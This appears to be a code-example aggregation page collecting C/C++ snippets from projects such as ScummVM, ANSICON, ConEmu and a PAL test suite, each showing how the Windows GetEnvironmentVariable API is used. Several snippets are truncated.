fclose(fptr);
free(loc);
return rc;
}
}
}
fclose(fptr);
}
free(loc);
}
/* Deal with real argc/argv */
rc = client_config_line_proc(cfg, pub_or_sub, argc, argv);
if(rc) return rc;
if(cfg->will_payload && !cfg->will_topic) {
//.........这里部分代码省略.........
示例10: oodResetSysErrCode
static char *searchSoundPath(CSTRING file, RexxCallContext *c)
{
oodResetSysErrCode(c->threadContext);
// We need a buffer for the path to search, a buffer for the returned full
// file name, (if found,) and a pointer to char (an unused arg to
// SearchPath().)
char *fullFileName = NULL;
char *pFileName;
// Calculate how much room we need for the search path buffer.
uint32_t cchCWD = GetCurrentDirectory(0, NULL);
// Many modern systems no longer have the SOUNDPATH set.
SetLastError(0);
uint32_t cchSoundPath = GetEnvironmentVariable("SOUNDPATH", NULL, 0);
uint32_t rc = GetLastError();
if ( cchSoundPath == 0 && rc != ERROR_ENVVAR_NOT_FOUND )
{
oodSetSysErrCode(c->threadContext, rc);
return NULL;
}
// Allocate our needed buffers.
AutoFree buf = (char *)malloc(cchCWD + cchSoundPath + 3);
fullFileName = (char *)malloc(_MAX_PATH);
if (buf == NULL || fullFileName == NULL)
{
safeFree(fullFileName);
outOfMemoryException(c->threadContext);
}
// Now get the current directory and the sound path.
cchCWD = GetCurrentDirectory(cchCWD + 1, buf);
if (cchCWD == 0)
{
safeFree(fullFileName);
oodSetSysErrCode(c->threadContext);
return NULL;
}
if (cchSoundPath != 0)
{
buf[cchCWD++] = ';';
cchSoundPath = GetEnvironmentVariable("SOUNDPATH", buf + cchCWD, cchSoundPath + 1);
if (cchSoundPath == 0)
{
safeFree(fullFileName);
oodSetSysErrCode(c->threadContext);
return NULL;
}
}
AutoErrorMode errorMode(SEM_FAILCRITICALERRORS);
cchSoundPath = SearchPath(buf, file, NULL, _MAX_PATH, fullFileName, &pFileName);
if (cchSoundPath == 0 || cchSoundPath >= _MAX_PATH)
{
safeFree(fullFileName);
oodSetSysErrCode(c->threadContext);
return NULL;
}
return fullFileName;
}
示例11: main
int __cdecl main(int argc, char *argv[])
{
#if WIN32
return PASS;
#else
/* Define some buffers needed for the function */
char * pResultBuffer = NULL;
char FirstEnvironmentVariable[] = {"PALTEST"};
char FirstEnvironmentValue[] = {"FIRST"};
char SecondEnvironmentVariable[] = {"paltest"};
char SecondEnvironmentValue[] = {"SECOND"};
DWORD size = 0;
BOOL bRc = TRUE;
/*
* Initialize the PAL and return FAILURE if this fails
*/
if(0 != (PAL_Initialize(argc, argv)))
{
return FAIL;
}
/* Set the first environment variable */
bRc = SetEnvironmentVariableA(FirstEnvironmentVariable,
FirstEnvironmentValue);
if(!bRc)
{
Fail("ERROR: SetEnvironmentVariable failed to set a "
"proper environment variable with error %u.\n",
GetLastError());
}
/* Set the second environment Variable */
bRc = SetEnvironmentVariableA(SecondEnvironmentVariable,
SecondEnvironmentValue);
if(!bRc)
{
Fail("ERROR: SetEnvironmentVariable failed to set a "
"proper environment variable with error %u.\n",
GetLastError());
}
/* Normal case, PATH should fit into this buffer */
size = GetEnvironmentVariableA(FirstEnvironmentVariable,
pResultBuffer,
0);
/* increase size to account for the null char at the end */
size = size + 1;
pResultBuffer = malloc(sizeof(char)*size);
if ( pResultBuffer == NULL )
{
Fail("ERROR: Failed to allocate memory for pResultBuffer pointer.\n");
}
/* Try to retrieve the value of the first environment variable */
GetEnvironmentVariable(FirstEnvironmentVariable,
pResultBuffer,
size);
if ( pResultBuffer == NULL )
{
free(pResultBuffer);
Fail("ERROR: GetEnvironmentVariable failed to return a value "
"from a proper environment variable with error %u.\n",
GetLastError());
}
/* Compare the strings to see that the correct variable was returned */
if(strcmp(pResultBuffer,FirstEnvironmentValue) != 0)
{
Trace("ERROR: The value in the buffer should have been '%s' but "
"was really '%s'.\n",FirstEnvironmentValue, pResultBuffer);
free(pResultBuffer);
Fail("");
}
free(pResultBuffer);
/* Reallocate the memory for the string */
pResultBuffer = malloc(sizeof(char)*size);
if ( pResultBuffer == NULL )
{
Fail("ERROR: Failed to allocate memory for pResultBuffer pointer.\n");
}
/* Try retrieving the value of the first variable, even though the
second variable has the same spelling and only differs in case */
//.........这里部分代码省略.........
示例12: ZeroMemory
Common::String OSystem_Win32::getDefaultConfigFileName() {
char configFile[MAXPATHLEN];
OSVERSIONINFO win32OsVersion;
ZeroMemory(&win32OsVersion, sizeof(OSVERSIONINFO));
win32OsVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&win32OsVersion);
// Check for non-9X version of Windows.
if (win32OsVersion.dwPlatformId != VER_PLATFORM_WIN32_WINDOWS) {
// Use the Application Data directory of the user profile.
if (win32OsVersion.dwMajorVersion >= 5) {
if (!GetEnvironmentVariable("APPDATA", configFile, sizeof(configFile)))
error("Unable to access application data directory");
} else {
if (!GetEnvironmentVariable("USERPROFILE", configFile, sizeof(configFile)))
error("Unable to access user profile directory");
strcat(configFile, "\\Application Data");
// If the directory already exists (as it should in most cases),
// we don't want to fail, but we need to stop on other errors (such as ERROR_PATH_NOT_FOUND)
if (!CreateDirectory(configFile, NULL)) {
if (GetLastError() != ERROR_ALREADY_EXISTS)
error("Cannot create Application data folder");
}
}
strcat(configFile, "\\ScummVM");
if (!CreateDirectory(configFile, NULL)) {
if (GetLastError() != ERROR_ALREADY_EXISTS)
error("Cannot create ScummVM application data folder");
}
strcat(configFile, "\\" DEFAULT_CONFIG_FILE);
FILE *tmp = NULL;
if ((tmp = fopen(configFile, "r")) == NULL) {
// Check windows directory
char oldConfigFile[MAXPATHLEN];
uint ret = GetWindowsDirectory(oldConfigFile, MAXPATHLEN);
if (ret == 0 || ret > MAXPATHLEN)
error("Cannot retrieve the path of the Windows directory");
strcat(oldConfigFile, "\\" DEFAULT_CONFIG_FILE);
if ((tmp = fopen(oldConfigFile, "r"))) {
strcpy(configFile, oldConfigFile);
fclose(tmp);
}
} else {
fclose(tmp);
}
} else {
// Check windows directory
uint ret = GetWindowsDirectory(configFile, MAXPATHLEN);
if (ret == 0 || ret > MAXPATHLEN)
error("Cannot retrieve the path of the Windows directory");
strcat(configFile, "\\" DEFAULT_CONFIG_FILE);
}
return configFile;
}
示例13: main
//int _tmain( int argc, TCHAR* argv[] )
int main( void )
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
TCHAR* cmd;
BOOL option;
BOOL opt_m;
BOOL installed;
HMODULE ansi;
int rc = 0;
int argc;
LPWSTR* argv = CommandLineToArgvW( GetCommandLineW(), &argc );
if (argc > 1)
{
if (lstrcmp( argv[1], TEXT("--help") ) == 0 ||
(argv[1][0] == '-' && (argv[1][1] == '?' || argv[1][1] == 'h')) ||
(argv[1][0] == '/' && argv[1][1] == '?'))
{
help();
return rc;
}
if (lstrcmp( argv[1], TEXT("--version") ) == 0)
{
_putts( TEXT("ANSICON (" BITS "-bit) version " PVERS " (" PDATE ").") );
return rc;
}
}
option = (argc > 1 && argv[1][0] == '-');
if (option && (_totlower( argv[1][1] ) == 'i' ||
_totlower( argv[1][1] ) == 'u'))
{
process_autorun( argv[1][1] );
return rc;
}
get_original_attr();
opt_m = FALSE;
if (option && argv[1][1] == 'm')
{
WORD attr = 7;
if (_istxdigit( argv[1][2] ))
{
attr = _istdigit( argv[1][2] ) ? argv[1][2] - '0'
: (argv[1][2] | 0x20) - 'a' + 10;
if (_istxdigit( argv[1][3]))
{
attr <<= 4;
attr |= _istdigit( argv[1][3] ) ? argv[1][3] - '0'
: (argv[1][3] | 0x20) - 'a' + 10;
}
}
SetConsoleTextAttribute( hConOut, attr );
opt_m = TRUE;
++argv;
--argc;
option = (argc > 1 && argv[1][0] == '-');
}
installed = (GetEnvironmentVariable( TEXT("ANSICON"), NULL, 0 ) != 0);
if (option && argv[1][1] == 'p')
{
// If it's already installed, there's no need to do anything.
if (installed)
;
else if (GetParentProcessInfo( &pi ))
{
pi.hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId );
pi.hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, pi.dwThreadId );
SuspendThread( pi.hThread );
Inject( &pi );
ResumeThread( pi.hThread );
CloseHandle( pi.hThread );
CloseHandle( pi.hProcess );
}
else
{
_putts( TEXT("ANSICON: could not obtain the parent process.") );
rc = 1;
}
}
else
{
ansi = 0;
if (!installed)
ansi = LoadLibrary( TEXT("ANSI" BITS ".dll") );
if (option && (argv[1][1] == 't' || argv[1][1] == 'T'))
{
BOOL title = (argv[1][1] == 'T');
if (argc == 2)
{
argv[2] = L"-";
++argc;
//.........这里部分代码省略.........
示例14: GetEnvironmentVariable
std::string *envvar(char *name)
{
char value[MAX_PATH];
GetEnvironmentVariable(name, value, MAX_PATH);
return new std::string(value);
}
示例15: Acquire
bool Acquire()
{
if (gsTempFolder[0])
{
if (IsDotsName(gsTempFolder))
return true;
if (DirectoryExists(gsTempFolder))
return true;
if (CreateDirectory(gsTempFolder, NULL))
{
SetCurrentDirectory(gsTempFolder);
mb_RemoveDir = true; // would be reset on success
return true;
}
ReportError(exit_CreateDirectory, msgTempFolderFailed, gsTempFolder);
if (gbExtractOnly || !gbAutoMode)
return false;
}
else
{
// + "ConEmu160707" (CONEMUVERL) or "ConEmu160707_123456" (CONEMUVERL, hhmmss)
DWORD cchMax = countof(gsTempFolder) - 20;
//DWORD n = GetTempPath(cchMax, gsTempFolder);
DWORD n = GetEnvironmentVariable(L"TEMP", gsTempFolder, cchMax);
if (!n)
n = GetTempPath(cchMax, gsTempFolder);
if (n && (n < cchMax))
{
wchar_t* pszSubDir = gsTempFolder+lstrlen(gsTempFolder);
lstrcpy(pszSubDir, L"ConEmu");
pszSubDir += 6;
lstrcpy(pszSubDir, CONEMUVERL);
pszSubDir += lstrlen(pszSubDir);
if (CreateDirectory(gsTempFolder, NULL))
{
SetCurrentDirectory(gsTempFolder);
mb_RemoveDir = true;
return true;
}
SYSTEMTIME st = {}; GetLocalTime(&st);
wsprintf(pszSubDir, L"_%02i%02i%02i", st.wHour, st.wMinute, st.wSecond);
if (CreateDirectory(gsTempFolder, NULL))
{
SetCurrentDirectory(gsTempFolder);
mb_RemoveDir = true;
return true;
}
}
}
ReportError(exit_CreateDirectory, msgTempFolderFailed, gsTempFolder);
if (!gbAutoMode)
return false;
// Failed to get/create TEMP path?
// Use our executable folder instead, set temp folder to L"."
gsTempFolder[0] = L'.'; gsTempFolder[1] = 0;
// And just change our current directory (it may be any folder ATM, e.g. system32)
if (ms_SelfPath[0])
{
if (SetCurrentDirectory(ms_SelfPath))
{
DWORD n = GetCurrentDirectory(countof(gsTempFolder), gsTempFolder);
if (!n || (n > countof(gsTempFolder)))
{
// Fail again?
gsTempFolder[0] = L'.'; gsTempFolder[1] = 0;
}
}
}
// if the path is invalid - just do not change cd,
// use current, set by user when they run our exe
return true;
};